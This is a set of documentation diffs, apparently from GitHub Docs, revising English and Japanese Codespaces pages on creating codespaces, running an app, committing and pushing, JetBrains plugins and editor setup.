1. Click the branch name at the right side of the status bar.
行なった変更はプッシュできます。 それにより、変更がリモートリポジトリの上流ブランチに適用されます。 プルリクエストの作成準備が整っていない場合、または {% data variables.product.prodname_dotcom %} でプルリクエストを作成する場合は、この操作を行うことをお勧めします。
![Screenshot of the branch name in the status bar](/assets/images/help/codespaces/jetbrains-branch-button.png)
1. サイド バーの上部にある省略記号 **[...]** をクリックします。 ![[表示] および [その他のアクション] の省略記号ボタン](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png)
1. ドロップダウン メニューの **[プッシュ]** をクリックします。
1. In the pop-up menu, do one of the following:
* To create a new branch based on the current branch, click the name of the current branch, then choose **New Branch**.
![Screenshot of the new branch option](/assets/images/help/codespaces/jetbrains-new-branch-option.png)
Enter a name for the new branch and click **Create**.
![Screenshot of the create branch dialog box](/assets/images/help/codespaces/jetbrains-create-branch-dialog.png)
* To check out an existing branch, start typing the name of the branch you want to check out. Click the branch from the list, then click **Checkout**.
![Screenshot of the checkout option](/assets/images/help/codespaces/jetbrains-checkout-submenu.png)
{% tip %}
**Tip**: If someone has recently changed a file on the remote repository, in the branch you switched to, you may not see those changes until you pull the changes into your codespace.
{% endtip %}
## Committing your changes
1. At the right side of the navigation bar, click the check mark.
![Screenshot of the commit check mark](/assets/images/help/codespaces/jetbrains-commit-button.png)
1. In the Commit Changes dialog box, enter a commit message.
1. Click **Commit**.
Alternatively, click the down arrow beside **Commit** and click **Commit and Push**.
![Screenshot of the commit and push button](/assets/images/help/codespaces/jetbrains-commit-and-push.png)
## Pulling changes from the remote repository
You can pull changes from the same branch on the remote repository and apply those changes to the copy of the repository you are working on in your codespace.
1. At the right side of the navigation bar, click the downward pointing arrow.
![Screenshot of the update project downward arrow button](/assets/images/help/codespaces/jetbrains-update-project-button.png)
1. In the Update Project dialog box, choose whether you want to merge or rebase the incoming changes.
![Screenshot of the Update Project dialog box](/assets/images/help/codespaces/jetbrains-update-options.png)
1. Click **OK**.
## Pushing changes to your remote repository
You can push changes you've saved and committed. This applies those changes to the upstream branch on the remote repository. You might want to do this if you're not yet ready to create a pull request, or if you prefer to create a pull request on {% data variables.product.prodname_dotcom %}.
1. At the right side of the navigation bar, click the upward pointing arrow.
![Screenshot of the push commits upward arrow](/assets/images/help/codespaces/jetbrains-push-button.png)
1. In the Push Commits dialog box, click **Push**.
{% endjetbrains %}

View File

@@ -3,7 +3,6 @@ title: 'Deep dive into {% data variables.product.prodname_github_codespaces %}'
shortTitle: 'Deep dive into {% data variables.product.prodname_codespaces %}'
intro: 'Understand how {% data variables.product.prodname_github_codespaces %} works.'
allowTitleToDifferFromFilename: true
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
@@ -18,24 +17,34 @@ topics:
There are a number of entry points to create a codespace.
- From your repository for new feature work.
- From an open pull request to explore work-in-progress.
- From a commit in the repository's history to investigate a bug at a specific point in time.
- From {% data variables.product.prodname_vscode %}.
- From a {% data variables.product.company_short %} template or any template repository on {% data variables.product.prodname_dotcom_the_website %} to start a new project
- From a branch in your repository for new feature work
- From an open pull request to explore work-in-progress
- From a commit in a repository's history to investigate a bug at a specific point in time
{% data reusables.codespaces.ways-to-create-a-codespace %}
Your codespace can be ephemeral if you need to test something or you can return to the same codespace to work on long-running feature work. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."
Your codespace can be ephemeral if you need to test something or you can return to the same codespace to work on long-running feature work.
Once you've selected the option to create a new codespace, and optionally selected from the various configuration options for your codespace, some steps happen in the background before the codespace is available to you.
For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)," "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)," and "[Opening an existing codespace](/codespaces/developing-in-codespaces/opening-an-existing-codespace)."
![Open with Codespaces button](/assets/images/help/codespaces/new-codespace-button.png)
{% note %}
**Note**: You can create more than one codespace per repository or even per branch. However, there are limits to the number of codespaces you can create, and the number of codespaces you can run at the same time. If you reach the maximum number of codespaces and try to create another, a message is displayed telling you that you must remove an existing codespace before you can create a new one.
{% endnote %}
### The codespace creation process
When you create a codespace, various steps happen in the background before the codespace is available to you.
### Step 1: VM and storage are assigned to your codespace
When you create a codespace, a [shallow clone](https://github.blog/2020-12-21-get-up-to-speed-with-partial-clone-and-shallow-clone/) of your repository is made on a Linux virtual machine that is both dedicated and private to you. Having a dedicated VM ensures that you have the entire set of compute resources from that machine available to you. If necessary, this also allows you to have full root access to your container.
When you create a codespace, a [shallow clone](https://github.blog/2020-12-21-get-up-to-speed-with-partial-clone-and-shallow-clone/) is made of your repository, or of the template repository if you're creating a codespace from a template. The repository is cloned to a Linux virtual machine that is both dedicated and private to you. Having a dedicated VM ensures that you have the entire set of compute resources from that machine available to you. If necessary, this also allows you to have full root access to your container.
### Step 2: Container is created
{% data variables.product.prodname_github_codespaces %} uses a container as the development environment. This container is created based on the configurations that you can define in a `devcontainer.json` file and/or Dockerfile in your repository. If you don't specify a custom Docker image in your configuration, {% data variables.product.prodname_codespaces %} uses a default image, which has many languages and runtimes available. For information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#using-the-default-dev-container-configuration)." For details of what the default image contains, see the [`vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) repository.
{% data variables.product.prodname_github_codespaces %} uses a container as the development environment. This container is created based on configurations that you can define in a `devcontainer.json` file and, optionally, a Dockerfile. If you create a codespace from {% data variables.product.company_short %}'s blank template, or from a repository with no `devcontainer.json` file, {% data variables.product.prodname_github_codespaces %} uses a default image, which has many languages and runtimes available. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." For details of what the default image contains, see the [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) repository.
{% note %}
@@ -47,37 +56,49 @@ Since your repository is cloned onto the host VM before the container is created
### Step 3: Connecting to the codespace
When your container has been created and any other initialization has run, you'll be connected to your codespace. You can connect to it through the web or via [{% data variables.product.prodname_vscode_shortname %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code), or both, if needed.
When your container has been created and any other initialization has run, you'll be connected to your codespace. You can connect to it by using:
* Your web browser
* [Visual Studio Code](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)
* [A JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)
* [{% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli)
### Step 4: Post-creation setup
Once you are connected to your codespace, your automated setup may continue to build based on the configuration you specified in your `devcontainer.json` file. You may see `postCreateCommand` and `postAttachCommand` run.
Once you are connected to your codespace, your automated setup may continue to build based on the configuration specified in your `devcontainer.json` file. You may see `postCreateCommand` and `postAttachCommand` run.
If you want to use Git hooks in your codespace, set up hooks using the [`devcontainer.json` lifecycle scripts](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts), such as `postCreateCommand`. For more information, see the [`devcontainer.json` reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) in the {% data variables.product.prodname_vscode_shortname %} documentation.
If you want to use Git hooks in your codespace, set up hooks using the [`devcontainer.json` lifecycle scripts](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts), such as `postCreateCommand`. For more information, see the [`devcontainer.json` reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) in the {% data variables.product.prodname_vscode_shortname %} documentation.
If you have a public dotfiles repository for {% data variables.product.prodname_github_codespaces %}, you can enable it for use with new codespaces. When enabled, your dotfiles will be cloned to the container and the install script will be invoked. For more information, see "[Personalizing {% data variables.product.prodname_github_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#dotfiles)."
Finally, the entire history of the repository is copied down with a full clone.
Finally, if you created the codespace from a repository, the entire history of the repository is copied down with a full clone. If you created the codespace from a template, the full history of the template repository is not preserved; instead, unless you are using the blank template, you will start with an initial commit for the contents of the template repository.
During post-creation setup you'll still be able to use the integrated terminal and make edits to your files, but take care to avoid any race conditions between your work and the commands that are running.
## {% data variables.product.prodname_codespaces %} lifecycle
### Saving files in your codespace
As you develop in your codespace, it will save any changes to your files every few seconds. Your codespace will keep running for 30 minutes after the last activity. After that time it will stop running but you can restart it from either from the existing browser tab or the list of existing codespaces. File changes from the editor and terminal output are counted as activity and so your codespace will not stop if terminal output is continuing.
Save changes to files in the normal way, depending on the editor you are using.
{% note %}
**Note:** Changes in a codespace in {% data variables.product.prodname_vscode_shortname %} are not saved automatically, unless you have enabled [Auto Save](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save).
{% endnote %}
If you work on codespaces in {% data variables.product.prodname_vscode %}, you can enable [Auto Save](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save) to ensure that your changes are always saved.
### Closing or stopping your codespace
To stop your codespace you can [use the {% data variables.product.prodname_vscode_command_palette %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces#suspending-or-stopping-a-codespace) (<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux)). If you exit your codespace without running the stop command (for example, closing the browser tab), or if you leave the codespace running without interaction, the codespace and its running processes will continue until a window of inactivity occurs, after which the codespace will stop. By default, the window of inactivity is 30 minutes.
Your codespace will keep running while you are using it, but will time out after a period of inactivity. File changes from the editor and terminal output are counted as activity, so your codespace will not time out if terminal output is continuing. The default inactivity timeout period is 30 minutes. You can define your personal timeout setting for codespaces you create, but this may be overruled by an organization timeout policy. For more information, see "[Setting your timeout period for Codespaces](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces)."
If a codespace times out it will stop running, but you can restart it from the browser tab (if you were using the codespace in the browser), from within {% data variables.product.prodname_vscode_shortname %}, or from your list of codespaces at [https://github.com/codespaces](https://github.com/codespaces).
To stop your codespace you can
* In the browser: on your list of codespaces at [https://github.com/codespaces](https://github.com/codespaces), click the ellipsis (**...**) to the right of the codespace you want to stop and click **Stop codespace**.
* In {% data variables.product.prodname_vscode_shortname %}: open [the {% data variables.product.prodname_vscode_command_palette %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces#suspending-or-stopping-a-codespace) - for example, by pressing <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>Enter</kbd> (Windows/Linux) or <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) - type `Codespaces: stop` then press <kbd>Enter</kbd>.
* In the JetBrains client, click the stop button at the top of the {% data variables.product.prodname_github_codespaces %} tool window. For more information, see the "JetBrains IDEs" tab of "[Stopping and starting a codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)."
* In a terminal window: use the {% data variables.product.prodname_cli %} command `gh codespace stop`. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli#gh-commands-for-github-codespaces)."
If you exit your codespace without running the stop command (for example, by closing the browser tab), or if you leave the codespace running without interaction, the codespace and its running processes will continue for the duration of the inactivity timeout period.
When you close or stop your codespace, all uncommitted changes are preserved until you connect to the codespace again.
## Running your application
Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on port 4000 within your codespace, you can automatically forward that port to make the application accessible from your browser.
@@ -86,7 +107,7 @@ Port forwarding determines which ports are made accessible to you from the remot
![Diagram showing how port forwarding works in a codespace](/assets/images/help/codespaces/port-forwarding.png)
When an application running inside {% data variables.product.prodname_github_codespaces %} outputs a port to the console, {% data variables.product.prodname_github_codespaces %} detects the localhost URL pattern and automatically forwards the port. You can click on the URL in the terminal or in the toast message to open the port in a browser. By default, {% data variables.product.prodname_github_codespaces %} forwards the port using HTTP. For more information on port forwarding, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
When an application running inside {% data variables.product.prodname_github_codespaces %} outputs a port to the console, {% data variables.product.prodname_github_codespaces %} detects the localhost URL pattern and automatically forwards the port. You can click on the URL in the terminal, or the link in the "toast" notification message that pops up at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, to open the port in a browser. By default, {% data variables.product.prodname_github_codespaces %} forwards the port using HTTP. For more information on port forwarding, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
While ports can be forwarded automatically, they are not publicly accessible to the internet. By default, all ports are private, but you can manually make a port available to your organization or public, and then share access through a URL. For more information, see "[Sharing a port](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace#sharing-a-port)."
@@ -94,13 +115,13 @@ Running your application when you first land in your codespace can make for a fa
## Committing and pushing your changes
Git is available by default in your codespace and so you can rely on your existing Git workflow. You can work with Git in your codespace either via the Terminal or by using [{% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/editor/versioncontrol)'s source control UI. For more information, see "[Using source control in your codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace)"
Git is installed by default in your codespace and so you can rely on your existing Git workflow. You can work with Git in your codespace either via the Terminal or by using the source control features of {% data variables.product.prodname_vscode_shortname %} or JetBrains.
![Running git status in Codespaces Terminal](/assets/images/help/codespaces/git-status.png)
If you're working with an existing repository, you can create a codespace from any branch, commit, or pull request in the repository, or you can switch to a new or existing branch from within your active codespace. Because {% data variables.product.prodname_github_codespaces %} is designed to be ephemeral, you can use it as an isolated environment to experiment, check a teammate's pull request, or fix merge conflicts.
You can create a codespace from any branch, commit, or pull request in your project, or you can switch to a new or existing branch from within your active codespace. Because {% data variables.product.prodname_github_codespaces %} is designed to be ephemeral, you can use it as an isolated environment to experiment, check a teammate's pull request, or fix merge conflicts.
If you're working in a codespace created from a template, Git will be installed by default, but you will need to publish your codespace to a remote repository to persist your work and to share it with others. If you start from {% data variables.product.company_short %}'s blank template, you will first need to initialize your workspace as a Git repository (for example by entering `git init`) to start using source control within the codespace.
You can create more than one codespace per repository or even per branch. However, there are limits to the number of codespaces you can create, and the number of codespaces you can run at the same time. If you reach the maximum number of codespaces and try to create another, a message is displayed telling you that you must remove an existing codespace before you can create a new one.
For more information, see "[Using source control in your codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace)."
{% note %}
@@ -108,15 +129,31 @@ You can create more than one codespace per repository or even per branch. Howeve
{% endnote %}
## Personalizing your codespace with extensions
## Personalizing your codespace with extensions or plugins
Using {% data variables.product.prodname_vscode_shortname %} in your codespace gives you access to the {% data variables.product.prodname_vscode_marketplace %} so that you can add any extensions you need. For information on how extensions run in {% data variables.product.prodname_github_codespaces %}, see [Supporting Remote Development and GitHub Codespaces](https://code.visualstudio.com/api/advanced-topics/remote-extensions) in the {% data variables.product.prodname_vscode_shortname %} documentation.
You can add plugins and extensions within a codespace to personalize your experience in JetBrains and {% data variables.product.prodname_vscode_shortname %} respectively.
### {% data variables.product.prodname_vscode_shortname %} extensions
If you work on your codespaces in the {% data variables.product.prodname_vscode_shortname %} desktop application, or the web client, you can add any extensions you need from the {% data variables.product.prodname_vscode_marketplace %}. For information on how extensions run in {% data variables.product.prodname_github_codespaces %}, see [Supporting Remote Development and {% data variables.product.prodname_github_codespaces %}](https://code.visualstudio.com/api/advanced-topics/remote-extensions) in the {% data variables.product.prodname_vscode_shortname %} documentation.
If you already use {% data variables.product.prodname_vscode_shortname %}, you can use [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) to automatically sync extensions, settings, themes, and keyboard shortcuts between your local instance and any codespaces you create.
### JetBrains plugins
If you work on your codespaces in a JetBrains IDE, you can add plugins from the JetBrains Marketplace.
1. Click **JetBrains Client**, then click **Preferences**.
1. In the Preferences dialog box, click either **Plugins On Host** to install a plugin in the full JetBrains IDE that's running remotely, or **Plugins** to install a plugin on the local client, for example to change the user interface theme.
1. Click the **Marketplace** tab.
![Screenshot of the Marketplace tab for 'Plugins On Host'](/assets/images/help/codespaces/jetbrains-preferences-plugins.png)
1. Click **Install** beside the required plugin.
## Further reading
- "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)"
- "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)"
- "[Add a dev container configuration to your repository](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)"
- "[Codespaces lifecycle](/codespaces/developing-in-codespaces/codespaces-lifecycle)"
- "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)"

View File

@@ -2,18 +2,17 @@
title: '{% data variables.product.prodname_github_codespaces %} を使い始める'
shortTitle: Getting started
intro: '特定の言語に対する設定や構成など、{% data variables.product.prodname_github_codespaces %} の概要を学びます。'
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
children:
- /quickstart
- /deep-dive
ms.openlocfilehash: 072764dd2ec164cc97a0699fb7d8821e25b04aab
ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
ms.openlocfilehash: e0a845403562bbe046b81e52893a9ff59a1fbf1c
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/12/2022
ms.locfileid: '147887448'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148160252'
---

View File

@@ -3,7 +3,6 @@ title: 'Quickstart for {% data variables.product.prodname_github_codespaces %}'
shortTitle: 'Quickstart for {% data variables.product.prodname_codespaces %}'
intro: 'Try out {% data variables.product.prodname_github_codespaces %} in 5 minutes.'
allowTitleToDifferFromFilename: true
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
@@ -16,82 +15,76 @@ redirect_from:
## Introduction
In this guide, you'll create a codespace from a template repository and explore some of the essential features available to you within the codespace.
In this guide, you'll create a codespace from a template repository and explore some of the essential features available to you within the codespace. You'll work in the browser version of {% data variables.product.prodname_vscode %}, which is initially the default editor for {% data variables.product.prodname_github_codespaces %}. After trying out this quickstart you can use {% data variables.product.prodname_codespaces %} in other editors, and you can change the default editor. Links are provided at the end of this guide.
From this quickstart, you'll learn how to create a codespace, connect to a forwarded port to view your running application, use version control in a codespace, and personalize your setup with extensions.
From this quickstart, you'll learn how to create a codespace, connect to a forwarded port to view your running application, publish your codespace to a new repository, and personalize your setup with extensions.
For more information on exactly how {% data variables.product.prodname_github_codespaces %} works, see the companion guide "[Deep dive into {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/deep-dive)."
## Creating your codespace
1. Navigate to the [template repository](https://github.com/github/haikus-for-codespaces) and select **Use this template**.
{% data reusables.codespaces.open-codespace-from-template-repo %}
1. Navigate to the [github/haikus-for-codespaces](https://github.com/github/haikus-for-codespaces) template repository.
{% data reusables.codespaces.open-template-in-codespace-step %}
## Running the application
Once your codespace is created, your repository will be automatically cloned into it. Now you can run the application and launch it in a browser.
Once your codespace is created, the template repository will be automatically cloned into it. Now you can run the application and launch it in a browser.
1. When the terminal becomes available, enter the command `npm run dev`. This example uses a Node.js project, and this command runs the script labeled "dev" in the _package.json_ file, which starts up the web application defined in the sample repository.
1. When the terminal becomes available, enter the command `npm run dev`. This example uses a Node.js project, and this command runs the script labeled "dev" in the `package.json` file, which starts up the web application defined in the sample repository.
![npm run dev in terminal](/assets/images/help/codespaces/codespaces-npm-run-dev.png)
If you're following along with a different application type, enter the corresponding start command for that project.
1. When your application starts, the codespace recognizes the port the application is running on and displays a prompt to let you know it has been forwarded.
2. When your application starts, the codespace recognizes the port the application is running on and displays a prompt to let you know it has been forwarded.
![Port forwarding toast](/assets/images/help/codespaces/quickstart-port-toast.png)
![Port forwarding "toast" notification](/assets/images/help/codespaces/quickstart-port-toast.png)
1. Click **Open in Browser** to view your running application in a new tab.
3. Click **Open in Browser** to view your running application in a new tab.
## Edit the application and view changes
1. Switch back to your codespace and open the _haikus.json_ file by double-clicking it in the Explorer.
1. Switch back to your codespace and open the `haikus.json` file by clicking it in the Explorer.
1. Edit the `text` field of the first haiku to personalize the application with your own haiku.
2. Edit the `text` field of the first haiku to personalize the application with your own haiku.
1. Go back to the running application tab in your browser and refresh to see your changes.
3. Go back to the running application tab in your browser and refresh to see your changes.
{% octicon "light-bulb" aria-label="The lightbulb icon" %} If you've closed the tab, open the Ports panel and click the **Open in browser** icon for the running port.
{% octicon "light-bulb" aria-label="The lightbulb icon" %} If you've closed the tab, open the Ports panel and click the **Open in browser** icon for the running port.
![Port Forwarding Panel](/assets/images/help/codespaces/quickstart-forward-port.png)
![Port Forwarding Panel](/assets/images/help/codespaces/quickstart-forward-port.png)
## Committing and pushing your changes
Now that you've made a few changes, you can use the integrated terminal or the source view to commit and push the changes back to the remote.
Now that you've made a few changes, you can use the integrated terminal or the source view to publish your work to a new repository.
{% data reusables.codespaces.source-control-display-dark %}
1. To stage your changes, click **+** next to the file you've changed, or next to **Changes** if you've changed multiple files and you want to stage them all.
1. To stage your changes, click **+** next to the `haikus.json` file, or next to **Changes** if you've changed multiple files and you want to stage them all.
![Source control side bar with staging button highlighted](/assets/images/help/codespaces/codespaces-commit-stage.png)
1. Type a commit message describing the change you've made.
2. To commit your staged changes, type a commit message describing the change you've made, then click **Commit**.
![Source control side bar with a commit message](/assets/images/help/codespaces/codespaces-commit-commit-message.png)
![Source control side bar with a commit message](/assets/images/help/codespaces/vscode-commit-button.png)
1. To commit your staged changes, click the check mark at the top the source control side bar.
3. Click **Publish Branch**.
![Screenshot of the "Publish branch" button in VS Code](/assets/images/help/codespaces/vscode-publish-branch-button.png)
![Click the check mark icon](/assets/images/help/codespaces/codespaces-commit-checkmark-icon.png)
4. In the "Repository Name" dropdown, type a name for your new repository, then select **Publish to {% data variables.product.company_short %} private repository** or **Publish to {% data variables.product.company_short %} public repository**.
![Screenshot of the "Repository Name" dropdown in VS Code](/assets/images/help/codespaces/choose-new-repository.png)
You can push the changes you've made. This applies those changes to the upstream branch on the remote repository. You might want to do this if you're not yet ready to create a pull request, or if you prefer to create a pull request on {% data variables.product.prodname_dotcom %}.
1. At the top of the side bar, click the ellipsis (**...**).
![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png)
1. In the drop-down menu, click **Push**.
1. Go back to your new repository on {% data variables.product.prodname_dotcom %} and view the _haikus.json_ file. Check that the change you made in your codespace has been successfully pushed to the repository.
The owner of the new repository will be the {% data variables.product.prodname_dotcom %} account with which you created the codespace.
5. In the pop-up that appears in the lower right corner of the editor, click **Open on {% data variables.product.company_short %}** to view the new repository on {% data variables.product.prodname_dotcom_the_website %}. In the new repository, view the `haikus.json` file and check that the change you made in your codespace has been successfully pushed to the repository.
![Screenshot of the "Open in GitHub" pop-up in VS Code](/assets/images/help/codespaces/open-on-github.png)
## Personalizing with an extension
Within a codespace, you have access to the {% data variables.product.prodname_vscode_marketplace %}. For this example, you'll install an extension that alters the theme, but you can install any extension that is useful for your workflow.
{% note %}
**Note**: If you have [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) turned on, any changes you make to your editor setup in the current codespace, such as changing your theme or keyboard bindings, are automatically synced to any other codespaces you open and any instances of {% data variables.product.prodname_vscode %} that are signed into your {% data variables.product.prodname_dotcom %} account.
{% endnote %}
When you connect to a codespace using the browser, or the {% data variables.product.prodname_vscode %} desktop application, you can access the Visual Studio Code Marketplace directly from the editor. For this example, you'll install a {% data variables.product.prodname_vscode_shortname %} extension that alters the theme, but you can install any extension that's useful for your workflow.
1. In the left sidebar, click the Extensions icon.
1. In the search bar, type `fairyfloss` and click **Install**.
![Add an extension](/assets/images/help/codespaces/add-extension.png)
@@ -100,14 +93,21 @@ Within a codespace, you have access to the {% data variables.product.prodname_vs
![Select the fairyfloss theme](/assets/images/help/codespaces/fairyfloss.png)
## Next Steps
If you are using a codespace in the browser, or in the {% data variables.product.prodname_vscode %} desktop application, and you have [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) turned on, any changes you make to your editor setup in the current codespace, such as changing your theme or keyboard bindings, are automatically synced to any instances of {% data variables.product.prodname_vscode %} that are signed into your {% data variables.product.prodname_dotcom %} account and to any other codespaces you create.
## Next steps
You've successfully created, personalized, and run your first application within a codespace but there's so much more to explore! Here are some helpful resources for taking your next steps with {% data variables.product.prodname_github_codespaces %}.
- "[Deep dive](/codespaces/getting-started/deep-dive)": This quickstart presented some of the features of {% data variables.product.prodname_github_codespaces %}. The deep dive looks at these areas from a technical standpoint.
- "[Add a dev container configuration to your repository](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)": These guides provide information on setting up your repository to use {% data variables.product.prodname_github_codespaces %} with specific languages.
- "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)": This guide provides details on configuring a development container for your codespace.
* "[Deep dive](/codespaces/getting-started/deep-dive)": This quickstart presented some of the features of {% data variables.product.prodname_github_codespaces %}. The deep dive looks at these areas from a technical standpoint.
* "[Add a dev container configuration to your repository](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)": These guides provide information on setting up your repository to use {% data variables.product.prodname_github_codespaces %} with specific languages.
* "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)": This guide provides details on creating a custom configuration for {% data variables.product.prodname_codespaces %} for your project.
## Further reading
- "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)"
- "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)"
* "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)"
* "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)"
* "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)"
* "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli)"
* "[Setting your default editor for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)."
* "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)"

View File

@@ -1,7 +1,6 @@
---
title: Codespaces のガイド
shortTitle: Guides
product: '{% data reusables.gated-features.codespaces %}'
intro: GitHub を最大限に活用する方法について説明します
allowTitleToDifferFromFilename: true
layout: product-guides
@@ -18,16 +17,18 @@ includeGuides:
- /codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines
- /codespaces/setting-up-your-project-for-codespaces/automatically-opening-files-in-the-codespaces-for-a-repository
- /codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge
- /codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project
- /codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers
- /codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account
- /codespaces/developing-in-codespaces/creating-a-codespace
- /codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository
- /codespaces/developing-in-codespaces/creating-a-codespace-from-a-template
- /codespaces/developing-in-codespaces/developing-in-a-codespace
- /codespaces/developing-in-codespaces/deleting-a-codespace
- /codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace
- /codespaces/developing-in-codespaces/opening-an-existing-codespace
- /codespaces/developing-in-codespaces/stopping-and-starting-a-codespace
- /codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code
- /codespaces/developing-in-codespaces/using-codespaces-with-github-cli
- /codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code
- /codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide
- /codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli
- /codespaces/developing-in-codespaces/using-source-control-in-your-codespace
- /codespaces/developing-in-codespaces/using-codespaces-for-pull-requests
- /codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace
@@ -55,11 +56,11 @@ includeGuides:
- /codespaces/codespaces-reference/using-the-command-palette-in-codespaces
- /codespaces/codespaces-reference/disaster-recovery-for-codespaces
- /codespaces/codespaces-reference/security-in-codespaces
ms.openlocfilehash: 24bf08da053efd9f822b1eb43bacbbe822c1ba8b
ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
ms.openlocfilehash: e11e89910b01bc3656cfc2982f13d48f99ee72b6
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/27/2022
ms.locfileid: '148113898'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148159190'
---

View File

@@ -8,22 +8,26 @@ introLinks:
featuredLinks:
guides:
- /codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization
- /codespaces/developing-in-codespaces/codespaces-lifecycle
- /codespaces/developing-in-codespaces/the-codespace-lifecycle
- /codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project
